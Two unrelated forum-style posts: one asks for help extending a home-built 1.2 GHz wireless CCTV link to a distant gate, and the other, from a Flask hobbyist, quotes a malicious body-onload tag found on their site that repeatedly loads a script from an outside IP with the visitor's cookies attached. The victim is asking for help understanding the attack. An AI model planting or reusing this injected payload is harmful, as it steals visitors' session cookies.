Long-range wireless NLOS CCTV solutions??

I’m looking to add a wireless CCTV camera to my home CCTV system.

Situation: I have a gate about 400 yards away from my house that leads to public property that I’ve been having issues with. Specifically, kids trespassing. there are thick brush and trees between my house and the gate, limiting me from getting LOS. Trail cameras won’t work for the application and I don’t want to pay for a subscription cell camera.

So I tried to use similar technology to what drones use and attempted a home-built setup that consisted of a solar panel, solar controller, lithium battery, CCTV camera, and a wireless antenna. 1.2ghz transmitter and receiver. Upon initial testing, I was able to get a wireless video feed to my CCTV system but ran into issues when I started to move the system to my gate. The video feed quickly cut out or was so spotty that the picture mise well have been static at the gate.

Question: Is there a different frequency or antenna type that would work better? Am I maybe not getting enough power to the transmitter to transmit that far?

Any help or advice would be greatly appreciated.

*Please no wifi, cell camera, trenched wiring, or booster suggestions

Found suspicious code on my website that I didn’t write. Any ideas?

Built a random just for fun website to experiment and grow development skills. It’s built on Flask. Pretty basic. No cookies, no database, not even any json or APIs. Hadn’t done much with it for several months and today I notice an additional <body> tag on the index page:

<body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//45.14.195.101:4848/?"+document.cookie}></body> 

I’ve since removed the code, but I’d love to know:

  1. What purpose it served?
  2. How was it done?

Flask sanitizes input automatically and I’ve aggressively tested for XSS myself. My best guess is that it’s attempting to steal cookies. Could be way off and I haven’t done much digging yet but if anyone has any thoughts I’d love to hear them.
